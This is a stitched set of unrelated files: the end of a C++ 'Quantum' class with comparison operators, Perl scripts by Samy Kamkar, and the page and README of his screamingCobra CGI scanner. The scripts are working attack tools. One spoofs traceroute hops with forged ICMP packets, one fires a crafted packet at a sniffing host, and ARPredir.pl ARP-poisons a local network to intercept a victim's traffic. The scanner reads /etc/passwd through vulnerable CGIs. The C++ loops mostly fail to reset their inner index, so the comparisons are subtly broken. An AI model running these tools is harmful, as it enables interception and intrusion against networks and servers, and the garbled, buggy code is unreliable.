973 temp.type = false;
974 temp.data.push_back(first);
975 for (int i = 1; i < numArgs; i++)
976 temp.data.push_back(va_arg(ap, char));
977 va_end(ap);
978 return temp;
979}
980
981// END OF SUPERPOSITIONING FUNCTIONS
982
983// BEGINNING OF OVERLOADED OPERATORS (Quantum ? Double)
984
985bool Quantum::operator==(double x)
986{
987 register int i = 0;
988
989 // any()
990 if (type == true)
991 {
992 for (; i < data.size(); i++)
993 if (data[i] == x)
994 return true;
995 return false;
996 }
997
998 // all()
999 else
1000 {
1001 for (; i < data.size(); i++)
1002 if (data[i] != x)
1003 return false;
1004 return true;
1005 }
1006
1007 return false;
1008}
1009
1010bool Quantum::operator!=(double x)
1011{
1012 register int i = 0;
1013
1014 // any()
1015 if (type == true)
1016 {
1017 for (; i < data.size(); i++)
1018 if (data[i] != x)
1019 return true;
1020 return false;
1021 }
1022
1023 // all()
1024 else
1025 {
1026 for (; i < data.size(); i++)
1027 if (data[i] == x)
1028 return false;
1029 return true;
1030 }
1031
1032 return false;
1033}
1034
1035bool Quantum::operator>=(double x)
1036{
1037 register int i = 0;
1038
1039 // any()
1040 if (type == true)
1041 {
1042 for (; i < data.size(); i++)
1043 if (data[i] >= x)
1044 return true;
1045 return false;
1046 }
1047
1048 // all()
1049 else
1050 {
1051 for (; i < data.size(); i++)
1052 if (data[i] < x)
1053 return false;
1054 return true;
1055 }
1056
1057 return false;
1058}
1059
1060bool Quantum::operator<=(double x)
1061{
1062 register int i = 0;
1063
1064 // any()
1065 if (type == true)
1066 {
1067 for (; i < data.size(); i++)
1068 if (data[i] <= x)
1069 return true;
1070 return false;
1071 }
1072
1073 // all()
1074 else
1075 {
1076 for (; i < data.size(); i++)
1077 if (data[i] > x)
1078 return false;
1079 return true;
1080 }
1081
1082 return false;
1083}
1084
1085bool Quantum::operator>(double x)
1086{
1087 register int i = 0;
1088
1089 // any()
1090 if (type == true)
1091 {
1092 for (; i < data.size(); i++)
1093 if (data[i] > x)
1094 return true;
1095 return false;
1096 }
1097
1098 // all()
1099 else
1100 {
1101 for (; i < data.size(); i++)
1102 if (data[i] <= x)
1103 return false;
1104 return true;
1105 }
1106
1107 return false;
1108}
1109
1110bool Quantum::operator<(double x)
1111{
1112 register int i = 0;
1113
1114 // any()
1115 if (type == true)
1116 {
1117 for (; i < data.size(); i++)
1118 if (data[i] < x)
1119 return true;
1120 return false;
1121 }
1122
1123 // all()
1124 else
1125 {
1126 for (; i < data.size(); i++)
1127 if (data[i] >= x)
1128 return false;
1129 return true;
1130 }
1131
1132 return false;
1133}
1134
1135// END OF OVERLOADED OPERATORS (Quantum ? Double)
1136
1137// BEGINNING OF OVERLOADED OPERATORS (Quantum ? Quantum)
1138
1139bool Quantum::operator==(Quantum x)
1140{
1141 register int i = 0, j = 0;
1142
1143 // any()
1144 if (type == true)
1145 {
1146 // x.any()
1147 if (x.type == true)
1148 {
1149 for (; i < data.size(); i++)
1150 for (; j < x.data.size(); j++)
1151 if (data[i] == x.data[j])
1152 return true;
1153 return false;
1154 }
1155
1156 // x.all()
1157 else
1158 {
1159 for (; i < data.size(); i++)
1160 {
1161 bool success = true;
1162 for (; j < x.data.size(); j++)
1163 if (data[i] != x.data[j])
1164 success = false;
1165 if (success == true)
1166 return true;
1167 }
1168 return false;
1169 }
1170 }
1171
1172 // all()
1173 else
1174 {
1175 // x.any()
1176 if (x.type == true)
1177 {
1178 for (; i < data.size(); i++)
1179 {
1180 bool success = false;
1181 for (; j < x.data.size(); j++)
1182 if (data[i] == x.data[j])
1183 success = true;
1184 if (success == false)
1185 return false;
1186 }
1187 return true;
1188 }
1189
1190 // x.all()
1191 else
1192 for (; i < data.size(); i++)
1193 for (; j < x.data.size(); j++)
1194 if (data[i] != x.data[j])
1195 return false;
1196 return true;
1197 }
1198
1199 return false;
1200}
1201
1202bool Quantum::operator!=(Quantum x)
1203{
1204 register int i = 0, j = 0;
1205
1206 // any()
1207 if (type == true)
1208 {
1209 // x.any()
1210 if (x.type == true)
1211 {
1212 for (; i < data.size(); i++)
1213 for (; j < x.data.size(); j++)
1214 if (data[i] != x.data[j])
1215 return true;
1216 return false;
1217 }
1218
1219 // x.all()
1220 else
1221 {
1222 for (; i < data.size(); i++)
1223 for (; j < x.data.size(); j++)
1224 if (data[i] != x.data[j])
1225 return true;
1226 return false;
1227 }
1228 }
1229
1230 // all()
1231 else
1232 {
1233 // x.any()
1234 if (x.type == true)
1235 {
1236 for (; i < data.size(); i++)
1237 {
1238 bool success = false;
1239 for (; j < x.data.size(); j++)
1240 if (data[i] != x.data[j])
1241 success = true;
1242 if (success == false)
1243 return false;
1244 }
1245 return true;
1246 }
1247
1248 // x.all()
1249 else
1250 for (; i < data.size(); i++)
1251 for (; j < x.data.size(); j++)
1252 if (data[i] == x.data[j])
1253 return false;
1254 return true;
1255 }
1256
1257 return false;
1258}
1259
1260bool Quantum::operator<=(Quantum x)
1261{
1262 register int i = 0, j = 0;
1263
1264 // any()
1265 if (type == true)
1266 {
1267 // x.any()
1268 if (x.type == true)
1269 {
1270 for (; i < data.size(); i++)
1271 for (; j < x.data.size(); j++)
1272 if (data[i] <= x.data[j])
1273 return true;
1274 return false;
1275 }
1276
1277 // x.all()
1278 else
1279 {
1280 for (; i < data.size(); i++)
1281 for (; j < x.data.size(); j++)
1282 if (data[i] <= x.data[j])
1283 return true;
1284 return false;
1285 }
1286 }
1287
1288 // all()
1289 else
1290 {
1291 // x.any()
1292 if (x.type == true)
1293 {
1294 for (; i < data.size(); i++)
1295 {
1296 bool success = false;
1297 for (; j < x.data.size(); j++)
1298 if (data[i] <= x.data[j])
1299 success = true;
1300 if (success == false)
1301 return false;
1302 }
1303 return true;
1304 }
1305
1306 // x.all()
1307 else
1308 for (; i < data.size(); i++)
1309 for (; j < x.data.size(); j++)
1310 if (data[i] > x.data[j])
1311 return false;
1312 return true;
1313 }
1314
1315 return false;
1316}
1317
1318bool Quantum::operator>=(Quantum x)
1319{
1320 register int i = 0, j = 0;
1321
1322 // any()
1323 if (type == true)
1324 {
1325 // x.any()
1326 if (x.type == true)
1327 {
1328 for (; i < data.size(); i++)
1329 for (; j < x.data.size(); j++)
1330 if (data[i] >= x.data[j])
1331 return true;
1332 return false;
1333 }
1334
1335 // x.all()
1336 else
1337 {
1338 for (; i < data.size(); i++)
1339 for (; j < x.data.size(); j++)
1340 if (data[i] >= x.data[j])
1341 return true;
1342 return false;
1343 }
1344 }
1345
1346 // all()
1347 else
1348 {
1349 // x.any()
1350 if (x.type == true)
1351 {
1352 for (; i < data.size(); i++)
1353 {
1354 bool success = false;
1355 for (; j < x.data.size(); j++)
1356 if (data[i] >= x.data[j])
1357 success = true;
1358 if (success == false)
1359 return false;
1360 }
1361 return true;
1362 }
1363
1364 // x.all()
1365 else
1366 for (; i < data.size(); i++)
1367 for (; j < x.data.size(); j++)
1368 if (data[i] < x.data[j])
1369 return false;
1370 return true;
1371 }
1372
1373 return false;
1374}
1375
1376bool Quantum::operator<(Quantum x)
1377{
1378 register int i = 0, j = 0;
1379
1380 // any()
1381 if (type == true)
1382 {
1383 // x.any()
1384 if (x.type == true)
1385 {
1386 for (; i < data.size(); i++)
1387 for (; j < x.data.size(); j++)
1388 if (data[i] < x.data[j])
1389 return true;
1390 return false;
1391 }
1392
1393 // x.all()
1394 else
1395 {
1396 for (; i < data.size(); i++)
1397 for (; j < x.data.size(); j++)
1398 if (data[i] < x.data[j])
1399 return true;
1400 return false;
1401 }
1402 }
1403
1404 // all()
1405 else
1406 {
1407 // x.any()
1408 if (x.type == true)
1409 {
1410 for (; i < data.size(); i++)
1411 {
1412 bool success = false;
1413 for (; j < x.data.size(); j++)
1414 if (data[i] < x.data[j])
1415 success = true;
1416 if (success == false)
1417 return false;
1418 }
1419 return true;
1420 }
1421
1422 // x.all()
1423 else
1424 for (; i < data.size(); i++)
1425 for (j = 0; j < x.data.size(); j++)
1426 if (data[i] >= x.data[j])
1427 return false;
1428 return true;
1429 }
1430
1431 return false;
1432}
1433
1434bool Quantum::operator>(Quantum x)
1435{
1436 register int i = 0, j = 0;
1437
1438 // any()
1439 if (type == true)
1440 {
1441 // x.any()
1442 if (x.type == true)
1443 {
1444 for (; i < data.size(); i++)
1445 for (; j < x.data.size(); j++)
1446 if (data[i] > x.data[j])
1447 return true;
1448 return false;
1449 }
1450
1451 // x.all()
1452 else
1453 {
1454 for (; i < data.size(); i++)
1455 for (; j < x.data.size(); j++)
1456 if (data[i] > x.data[j])
1457 return true;
1458 return false;
1459 }
1460 }
1461
1462 // all()
1463 else
1464 {
1465 // x.any()
1466 if (x.type == true)
1467 {
1468 for (; i < data.size(); i++)
1469 {
1470 bool success = false;
1471 for (; j < x.data.size(); j++)
1472 if (data[i] > x.data[j])
1473 success = true;
1474 if (success == false)
1475 return false;
1476 }
1477 return true;
1478 }
1479
1480 // x.all()
1481 else
1482 for (; i < data.size(); i++)
1483 for (; j < x.data.size(); j++)
1484 if (data[i] <= x.data[j])
1485 return false;
1486 return true;
1487 }
1488
1489 return false;
1490}
1491
1492// END OF OVERLOADED OPERATORS (Quantum ? Quantum)
1493
1494#endif QUANTUM_H_
1495
1496
1497#!/usr/bin/perl
1498
1499# traceroute hop spoofer!
1500# -samy [cp5@LucidX.com]
1501
1502use Packet::Inject;
1503use Packet::IP;
1504use Packet::Ethernet;
1505use Packet::ICMP;
1506use Packet::Definitions;
1507use Packet::Lookup;
1508use Packet::Sniff;
1509
1510use strict;
1511
1512die "usage: $0 <spoof 1> <spoof 2> ...\n" unless my @spoofs = @ARGV;
1513
1514my $len = pack('I', 0);
1515my @mib = (
1516 &Packet::Definitions::CTL_NET,
1517 &Packet::Definitions::AF_ROUTE,
1518 0,
1519 &Packet::Definitions::AF_LINK,
1520 &Packet::Definitions::NET_RT_IFLIST,
1521 0
1522);
1523my $mib = pack('iiiiii', @mib);
1524syscall(&Packet::Definitions::SYS___sysctl, $mib, 6, 0, $len, 0, 0);
1525my $buf = pack('a' . unpack('I', $len), '');
1526syscall(&Packet::Definitions::SYS___sysctl, $mib, 6, $buf, $len, 0, 0);
1527my ($device) = ($buf =~ /.*?(\w{2,5}\d+)/);
1528
1529# convert hosts to ip now to save time when sending packets
1530foreach (@spoofs) {
1531 $_ = quad2int(&Packet::Lookup::host_to_ip($_));
1532}
1533
1534
1535my $id = int(rand(2 ** 16));
1536my $total = @spoofs;
1537my $ethernet = Packet::Ethernet->new();
1538my $ip = Packet::IP ->new();
1539my $inject = Packet::Inject ->new(device => $device);
1540my $sniff = Packet::Sniff ->new(device => $device);
1541my $sendeth = Packet::Ethernet->new(
1542 type => 0x0800,
1543);
1544
1545
1546$inject->open() || die $inject->{errbuf};
1547$sniff ->open() || die $inject->{errbuf};
1548$sniff ->loop(0, \&parse, $total);
1549
1550
1551sub parse {
1552 my ($total, $hdr, $packet, $s) = @_;
1553 my ($sendip, $sendicmp);
1554
1555 $ethernet->decode($packet);
1556 return unless $ethernet->type == 0x0800;
1557
1558 $ip->decode($ethernet->data);
1559 return unless $ip->ttl <= ($total + 1);
1560
1561 $sendeth->{dest_mac} = $ethernet->src_mac;
1562
1563 # this is where we send the final packet and get device name
1564 if ($ip->ttl == $total + 1) {
1565 $sendicmp = Packet::ICMP->new(
1566 type => &Packet::ICMP::ICMP_DEST_UNREACH,
1567 code => &Packet::ICMP::ICMP_PORT_UNREACH,
1568 data => "\0" x 4 . substr($ip->encode, 0, 28),
1569 );
1570
1571 $sendip = Packet::IP->new(
1572 src_ip => $ip->dest_ip,
1573 dest_ip => $ip->src_ip,
1574 id => $id++,
1575 proto => 1,
1576 data => $sendicmp,
1577 );
1578
1579 $inject->write(packet => $sendeth . $sendip);
1580
1581 print "Port Unreachable sent to " . int2quad($ip->src_ip) . "\n";
1582 }
1583
1584 else {
1585 $sendicmp = Packet::ICMP->new(
1586 type => &Packet::ICMP::ICMP_TIME_EXCEED,
1587 code => &Packet::ICMP::ICMP_TTL_EXCEED,
1588 data => "\0" x 4 . substr($ip->encode, 0, 28),
1589 );
1590 $sendip = Packet::IP->new(
1591 src_ip => $spoofs[$ip->ttl-1],
1592 dest_ip => $ip->src_ip,
1593 id => $id++,
1594 proto => 1,
1595 data => $sendicmp,
1596 );
1597
1598 $inject->write(packet => $sendeth . $sendip);
1599
1600 print "Time Exceeded In Transit sent to " . int2quad($ip->src_ip) .
1601 " from " . int2quad($spoofs[$ip->ttl-1]) . "\n";
1602 }
1603
1604}
1605
1606
1607sub quad2int
1608{
1609 my $val = shift;
1610 my $counter = 3;
1611 my $i;
1612 my $result;
1613
1614 for my $i (split/\./, $val) {
1615 $result += $i * 256 ** $counter--;
1616 }
1617
1618 return ($result);
1619}
1620
1621sub int2quad
1622{
1623 my $val = shift;
1624 my $result;
1625
1626 if ($val =~ /^\d+$/) {
1627 $result = join('.', unpack("C4", pack('N', $val)));
1628 }
1629
1630 return ($result);
1631}
1632
1633
1634#!/usr/bin/perl
1635
1636use IO::Socket;
1637
1638unless (@ARGV == 2) {
1639 die "usage: $0 <host to kill sniffs> <host with open port 80 [that host can sniff]>\n";
1640}
1641
1642$tcpd1 = "eea600000001000000000000c00c00010001";
1643$urls1 =~ s/\s//g;
1644$urls2 = "GET / HTTP/1.0\nHost: do.not.enter.LucidX.com\n\n";
1645
1646$sock = IO::Socket::INET->new(
1647 PeerAddr => "do.not.enter.LucidX.com",
1648 PeerPort => 80,
1649 Proto => "tcp",
1650) or print STDERR "Can't open socket: $!\n";
1651print $sock $urls2;
1652close($sock);
1653
1654$sock = IO::Socket::INET->new(
1655 PeerAddr => $ARGV[0],
1656 PeerPort => 53,
1657 Proto => "udp",
1658) or print STDERR "Can't open socket: $!\n";
1659print $sock pack("H*", $tcpd1);
1660close($sock);
1661
1662$sock = IO::Socket::INET->new(
1663 PeerAddr => $ARGV[1],
1664 PeerPort => 80,
1665 Proto => "tcp",
1666) or print STDERR "Can't open socket: $!\n";
1667print $sock pack("H*", $urls1);
1668close($sock);
1669
1670BEGIN {
1671 $urls1 = "
1672 52 65 66 65 72 65 72 3a 20 68 74 74 70 3a 2f 2f
1673 64 6f 6e 6f 74 67 6f 74 6f 2e 4c 75 63 69 64 58
1674 2e 63 6f 6d 0d 0a 0d 0a 00 00 00 00 8b 00 00 00
1675 00 00 00 00 53 05 00 00 ba 03 00 00 0e 05 00 00
1676 e5 04 00 00 19 01 00 00 24 03 00 00 00 00 00 00
1677 ce 04 00 00 d0 05 00 00 b8 04 00 00 65 04 00 00
1678 32 04 00 00 ca 05 00 00 0d 01 00 00 3b 06 00 00
1679 01 01 00 00 3a 06 00 00 a0 01 00 00 89 04 00 00
1680 00 00 00 00 8a 01 00 00 db 01 00 00 00 00 00 00
1681 d8 01 00 00 3d 03 00 00 4f 04 00 00 66 05 00 00
1682 00 00 00 00 2a 00 00 00 26 06 00 00 1d 05 00 00
1683 6b 02 00 00 d3 04 00 00 6b 05 00 00 fe 05 00 00
1684 93 05 00 00 d6 01 00 00 c7 02 00 00 5d 03 00 00
1685 95 04 00 00 00 00 00 00 50 00 00 00 56 03 00 00
1686 00 00 00 00 1e 01 00 00 fa 03 00 00 cc 01 00 00
1687 b7 00 00 00 d2 05 00 00 3c 03 00 00 00 00 00 00
1688 bf 04 00 00 00 00 00 00 00 00 00 00 8b 05 00 00
1689 c3 03 00 00 00 00 00 00 01 05 00 00 a6 05 00 00
1690 ae 05 00 00 00 00 00 00 9f 03 00 00 84 04 00 00
1691 0b 04 00 00 5a 02 00 00 d0 04 00 00 96 05 00 00
1692 1b 05 00 00 f0 02 00 00 11 06 00 00 72 00 00 00
1693 7a 01 00 00 22 02 00 00 00 00 00 00 c1 03 00 00
1694 fe 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1695 58 00 00 00 7f 00 00 00 00 00 00 00 cd 03 00 00
1696 c0 02 00 00 8e 03 00 00 08 05 00 00 26 00 00 00
1697 00 00 00 00 8f 04 00 00 00 00 00 00 a8 05 00 00
1698 42 05 00 00 3f 04 00 00 7f 03 00 00 a4 03 00 00
1699 12 04 00 00 d3 00 00 00 a3 03 00 00 45 06 00 00
1700 44 02 00 00 09 06 00 00 52 04 00 00 1b 06 00 00
1701 00 05 00 00 56 04 00 00 00 00 00 00 f2 02 00 00
1702 16 05 00 00 00 00 00 00 e9 05 00 00 7d 05 00 00
1703 33 05 00 00 c5 00 00 00 77 04 00 00 0b 02 00 00
1704 fc 04 00 00 e1 02 00 00 c3 04 00 00 06 06 00 00
1705 a1 03 00 00 e0 02 00 00 36 01 00 00 00 00 00 00
1706 72 01 00 00 b3 d8 04 28 ce fa 06 28 ce fa 06 28
1707 f3 03 00 00 62 d8 04 28 c8 b2 05 28 20 00 06 28
1708 00 00 00 00 00 00 00 00 e3 04 00 00 20 00 06 00
1709 7c fa bf bf 0f d8 04 28 ce fa 06 28 47 b7 a1 0a
1710 00 e1 05 28 00 00 00 00 c8 b2 05 28 e0 4b 0e 28
1711 ce fa 06 28 00 00 00 00 67 05 00 00 f8 00 00 00
1712 da 02 00 00 00 00 00 00 00 e1 05 28 00 00 00 00
1713 ec fa bf bf 4b d6 04 28 ce fa 06 28 47 b7 a1 0a
1714 e8 a1 05 28 dc fa bf bf b3 d8 04 28 1c 84 04 08
1715 93 d1 06 28 7e e8 04 28 62 d8 04 28 c8 b2 05 28
1716 20 00 06 28 00 00 00 00 c8 b2 05 28 80 b7 05 28
1717 20 00 06 01 00 fb bf bf 0f d8 04 28 1c 84 04 08
1718 04 cf 8a 06 00 e1 05 28 01 00 00 00 c8 b2 05 28
1719 00 e0 05 28 1c 84 04 08 02 00 00 00 02 00 00 00
1720 1c fb bf bf 65 c9 04 28 08 00 00 00 00 e1 05 28
1721 03 00 00 01 70 fb bf bf 4b d6 04 28 1c 84 04 08
1722 04 cf 8a 06 e8 a1 05 28 60 fb bf bf 01 00 00 00
1723 64 fb bf bf 6b c4 04 28 f0 a1 05 28 00 e0 05 28
1724 00 e1 05 28 ea c3 04 28 8e d5 04 28 c8 b2 05 28
1725 00 e0 05 28 1c 84 04 08 04 00 00 00 80 b7 05 28
1726 7c fb bf bf 01 69 07 28 00 e1 05 28 ec b3 06 28
1727 f8 fb bf 01 00 e1 05 28 28 fb bf bf 02 00 00 00
1728 02 00 00 00 d0 fb bf bf 36 c0 04 28 1c 84 04 08
1729 04 cf 8a 06 00 e0 05 28 cc fb bf bf 01 00 00 00
1730 00 e0 05 28 d0 fb bf bf 16 c0 04 28 1c 84 04 08
1731 00 00 00 00 a4 df 04 28 ea bf 04 28 c8 b2 05 28
1732 00 e0 05 28 78 9b 04 08 bd de 04 28 c8 b2 05 28
1733 00 e0 05 28 aa b8 04 28 30 83 04 08 c8 b2 05 01
1734 00 e1 05 28 00 fc bf bf 6e b9 04 28 00 20 06 28
1735 00 e0 05 28 fc fb bf bf 01 00 00 00 02 00 00 00 ";
1736}
1737
1738
1739#!/usr/bin/perl
1740
1741# ARPredir.pl - by Samy Kamkar [CommPort5@LucidX.com]
1742# requires Packet (by Samy Kamkar and David Hulton)
1743
1744# this will arp poisen a host (all hosts by default) on a local network
1745# and will allow you to sniff a specific host on your network without
1746# even enabling promiscuous mode on your ethernet device, and this will
1747# even work if the network is switched (that's the main purpose)
1748
1749# offset is usually 78 or 80 for openbsd and 94 for freebsd
1750
1751# usage: ./arpredir.pl [-t target] [-i device] offset host
1752
1753use Packet::Device; # module for getting local net interface and network info
1754use Packet::Lookups; # module for converting values
1755use Packet::Inject; # module for creating and sending packets
1756use Packet::Inject::ARP; # module for creating an ARP header
1757use Packet::Inject::Ethernet; # module for creating an ethernet header
1758
1759$SIG{INT} = \&exit; # when exiting go to &exit to fix the arp cache tables
1760my ($off, $host, $dev, $targ) = &begin; # get arguements
1761unless ($targ) { # target not specified
1762 $targ = "255.255.255.255"; # target will default to broadcast
1763 $arp{tpa} = "00000000";
1764}
1765else {
1766 $arp{tpa} = $targ;
1767}
1768unless ($dev) { # no device specified
1769 $dev = if_dev(); # figure out main network device
1770}
1771$eth{src} = dev2mac($dev); # always your local mac
1772$eth{dst} = ip2mac($off, $targ); # always the target ip's mac [broadcast unless def'd with -t]
1773$arp{tha} = $eth{dst}; # always the target ip's mac [broadcast unless def'd with -t]
1774$arp{sha} = $eth{src}; # the mac that should receieve the data [at first, yours]
1775$arp{spa} = $host; # the ip that should be assigned to your mac [def'd by <host>]
1776$arp{dmc} = ip2mac($off, $host); # the original mac address of the ip
1777$pkt = new Packet::Inject( # create a new packet object
1778 ETHERNET => { # Ethernet header
1779 dest_mac => "ff:ff:ff:ff:ff:ff", # dest mac
1780 src_mac => $eth{src}, # sourc mac
1781 },
1782 ARP => { # ARP header
1783 opcode => 1, # ARP who-has
1784 tha => "00:00:00:00:00:00", # dest mac (repeated)
1785 sha => $arp{sha}, # source mac (repeated)
1786 spa => if_addr($dev), # your real ip
1787 tpa => $arp{spa}, # the host's ip
1788 }
1789);
1790unless ($eth{dst}) { # target wasn't in the arp cache table
1791 $pkt->send(1, $dev); # send the packet once
1792}
1793unless ($arp{dmc}) { # host wasn't in the arp cache table
1794 $pkt->send(1, $dev); # send the packet once
1795}
1796if (!$eth{dst} or !$arp{dmc}) { # one, or even both, of the macs weren't found
1797 $eth{dst} = ip2mac($off, $targ); # retrieve proper mac
1798 $arp{dmc} = ip2mac($off, $host); # get new host mac
1799 $arp{tha} = $eth{dst}; # reset the value to what it should be
1800}
1801$pkt->{ETHERNET}{dest_mac} = $eth{dst}; # change dest mac to new dest mac
1802$pkt->{ARP}{opcode} = 2; # ARP is-at
1803$pkt->{ARP}{tha} = $arp{tha}; # dest mac (repeated)
1804$pkt->{ARP}{spa} = $arp{spa}; # the ip that our mac address is pretending to be
1805$pkt->{ARP}{tpa} = $arp{tpa}; # the ip that should get the arps
1806
1807while (1) { # infinite loop until SIGINT is called
1808 $pkt->send(1, $dev); # send packet
1809 print "$arp{sha} $arp{tha} 0806 42: arp reply $arp{spa} is-at $arp{sha}\n";
1810 sleep 2; # wait 2 seconds
1811}
1812
1813sub exit { # SIGINT has been called
1814 $SIG{INT} = sub { }; # make sure SIGINT doesn't do anything anymore
1815 $pkt->{ARP}{sha} = $arp{dmc}; # reroute the ip to the correct mac address
1816 foreach (1 .. 2) { # loop twice for 2 packets
1817 $pkt->send(1, $dev); # send packet
1818 print "$arp{dmc} $arp{tha} 0806 42: arp reply $arp{spa} is-at $arp{dmc}\n";
1819 sleep 1; # wait a second
1820 }
1821 $pkt->send(1, $dev); # send another (and last) packet and die
1822 die "$arp{dmc} $arp{tha} 0806 42: arp reply $arp{spa} is-at $arp{dmc}\n";
1823}
1824
1825sub error {
1826 print "offsets:\n\topenbsd: 78 or 80\n\tfreebsd: 94\n\tlinux: unknown to the human race for all it's worth\n";
1827 die "usage: $0 [-t target] [-i device] offset host\n"; # incorrect arguements called
1828}
1829
1830sub begin {
1831 if (@ARGV < 1 or @ARGV > 5) {
1832 &error;
1833 }
1834 my $host = pop(@ARGV);
1835 my $off = pop(@ARGV);
1836 my ($dev, $targ);
1837 for ($i = 0; $i < @ARGV; $i++) {
1838 if ($ARGV[$i] =~ /^[^-]/ and $ARGV[$i-1] =~ /^[^-]/) {
1839 &error;
1840 }
1841 if ($ARGV[$i] =~ /^-/) {
1842 if ($ARGV[$i] =~ /^-([a-z]+)$/i) {
1843 if ($1 eq 'i') {
1844 $dev = $ARGV[$i+1];
1845 }
1846 elsif ($1 eq 't') {
1847 $targ = $ARGV[$i+1];
1848 }
1849 }
1850 else {
1851 &error;
1852 }
1853 }
1854 }
1855 return($off, $host, $dev, $targ);
1856}
1857
1858
1859screamingCobra - automated remote CGI vulnerability discovery
1860
1861
1862Welcome to cobra.LucidX.com! screamingCobra is an application that does automated vulnerability scanning in remote CGIs by using techniques that are able to spot very common bugs in many CGIs, usually when dealing with templates or any other files or applications. screamingCobra was written by Samy Kamkar, originally at Caezar's Challenge V at DefCon, but rewritten completely with numerous feature additions (previously known as crawl5b). Check the manual page for more information!
1863________________________________________
1864
1865
1866News - January 12th, 2002
1867
1868
1869This site is put up and I've set up a mailing list to go with it. Submit your email address at the bottom left to subscribe to the mailing list or send an email to majordomo@LucidX.com with the body containing 'subscribe cobra'.
1870________________________________________
1871
1872
1873screamingCobra's Manual
1874
1875
1876
1877A read-me on how to use screamingCobra, what it does, all of its options, etc..
1878
1879
1880Download screamingCobra
1881
1882
1883
1884You can get all the downloads from here such as the stable version, development version, and even specific files out of a certain version. For the stable version, get CURRENT.tar.gz.
1885
1886
1887
1888Changes
1889
1890
1891
1892You can see all the changes made with all of the versions of screamingCobra here, including changes in the development version!
1893http://www.samy.pl/scobra/
1894
1895Index of /scobra/downloads/screamingCobra-1.04
1896 Name
1897Last modified
1898Size
1899Description
1900
1901________________________________________
1902 Parent Directory
1903 -
1904 LICENSE
190513-Jan-2002 05:23 1.4K
1906 README
190713-Jan-2002 05:39 7.6K
1908 TODO
190913-Jan-2002 05:23 163
1910 changeLog
191113-Jan-2002 05:23 632
1912 sCobra-WIN.exe
191313-Jan-2002 05:23 784K
1914 screamingCobra.pl
191522-Jan-2002 23:44 9.9K
1916________________________________________
1917screamingCobra v1.04 -- < January 12, 2002 >
1918by Samy Kamkar [commport5@LucidX.com]
1919
1920usage: screamingCobra.pl [-e] [-i] [-s|-v] <http://host.name>[:port][/start/page]
1921
1922=======================
1923== TABLE OF CONTENTS ==
1924=======================
19251. What is screamingCobra
19262. What screamingCobra does
19273. Why was screamingCobra written
19284. Configuring screamingCobra
1929 A. Basic Configuration
1930 B. Adding Techniques
19315. Command-line options
19326. Supported Operating Systems
1933=======================
1934
1935
1936 _____________________________
19371. __ WHAT IS SCREAMING COBRA __
1938 =============================
1939Any CGI that doesn't check arguements that are passed to it
1940over the web are possibly vulnerable to attacks which allow
1941a malicious user get read access to almost any file on that
1942system, if not access to execute programs. screamingCobra
1943is almost always able to find those bugs REMOTELY due to
1944the common errors programmers make.
1945
1946screamingCobra is an application for remote vulnerability
1947discovery in ANY UNKNOWN web applications such as CGIs and PHP
1948pages. Simply put, it attemps to find vulernabilities in all
1949web applications on a host without knowing anything about the
1950applications. Modern CGI scanners scan a host for CGIs
1951with known vulnerabilities. screamingCobra is able to 'find'
1952the actual vulnerabilities in ANY CGI, whether it has been
1953discovered before or not.
1954
1955
1956 _______________________________
19572. __ WHAT SCREAMING COBRA DOES __
1958 ===============================
1959I've even been told by administrators of very well known
1960sites that they've been able to use screamingCobra (originally
1961called crawl5b, before this release) and find at least one
1962bug which allows anyone to get read access to almost any file
1963on the system, if not access to execute applications. When
1964you launch screamingCobra, it crawls the specified host
1965over the web and attempts to find all the CGIs or any other
1966applications where parameters can be passed. It then attempts
1967to use a few techniques to read files on that machine. By
1968default, it attempts to read /etc/passwd, and if successful it
1969will display the URL in which it used to access the file.
1970
1971
1972 _____________________________________
19733. __ WHY WAS SCREAMING COBRA WRITTEN __
1974 =====================================
1975The core was originally written at DefCon 9, specifically at
1976Caezar's Challeng V, for Challenge B:
1977"identify hypothetical cases of common bugs in server-side
1978programs and then to describe algorithms that could detect those
1979problems from a special version of the client software".
1980I did just that, and wrote a program to go along with it.
1981
1982Caezar's Challenge: http://caezarschallenge.org
1983
1984 _________________________________
19854. __ CONFIGURING SCREAMING COBRA __
1986 =================================
1987 A. -- BASIC CONFIGURATION --
1988 There's not much, if any, configuring to be done.
1989 Although, there may be some things you want to change.
1990 I'll go over those now. Open up screamingCobra.pl
1991 in a text editor and check these lines out:
1992
1993 Line 29: this is the file it will attempt to access
1994 change 'etc/passwd' to, say, 'bin/ls' to attempt
1995 to read /bin/ls.
1996 I recommend KEEPING /etc/passwd as the default.
1997
1998 Line 30: this is the additional technique for finding
1999 vulnerabilities. Leave it alone if you don't know
2000 what it's doing :)
2001
2002 Line 32: @first -- this is the HTML tags to look for
2003 that contain URLs. The array, by default, includes
2004 'a' (for <a href's..), 'img' (<img src...), 'body',
2005 'area', 'frame' and 'meta'. You may add more, just
2006 follow the defaults.
2007
2008 Line 36: @second -- this is the tag options to look
2009 for inside of a tag, such as 'href' (for <a href..)
2010 and 'src' (<img src...).
2011 This will NOT just look at the 2nd word in the tag,
2012 but any words following a whitespace so it WILL
2013 catch something like <a blah="" href="...">.
2014
2015 Line 40: @ignore -- extensions of files to not do a
2016 GET on, just because they usually don't contain HTML
2017 and are a waste of bandwidth.
2018
2019 Line 45: @requests -- this is the basic header that's
2020 sent to the server when requesting a page or CGI.
2021 screamingCobra randomly chooses one for each GET it
2022 does, add more according to the two default ones.
2023
2024 That's it! You probably didn't have to change anything
2025 or add anything, but it's good to know how to.
2026
2027
2028 B. -- ADDING TECHNIQUES --
2029 Adding techniques and using them is very simple!
2030 First, find where the '$technique1' variable is set (by
2031 default, it's at line 29). After all the variables in
2032 that section that begin with 'technique' and end in a
2033 number, add a new one, incrementing the number by 1.
2034 For example, if you have a fresh screamingCobra.pl,
2035 you would stick in:
2036$technique3 = "your technique to be GET'd";
2037 The 3 is because there are already two other techniques.
2038
2039 Now to actually be able to use the 3rd technique (and
2040 all techniques ending with a number less than 3 [2, 1]),
2041 you must add that many '-e's when running screamingCobra.
2042
2043 For example, if you wanted to run screamingCobra using
2044 technique 3, you would run like so:
2045./screamingCobra.pl -eee http://host.name
2046
2047 You may of course use any other arguements, as well, and
2048 use whatever host/port/page you want to.
2049
2050
2051 __________________________
20525. __ COMMAND-LINE OPTIONS __
2053 ==========================
2054usage: screamingCobra.pl [-e] [-i] [-s|-v] <http://host.name>[:port][/start/page]
2055
2056-e: EXTRA TECHNIQUES
2057 Uses multiple techniques to find bugs.
2058 This will take over twice the amount of time to
2059 complete a scan and the other techniques used with
2060 this options are not commonly found in applications
2061 but if you need to do a very strong pen test, you
2062 may want to use this option.
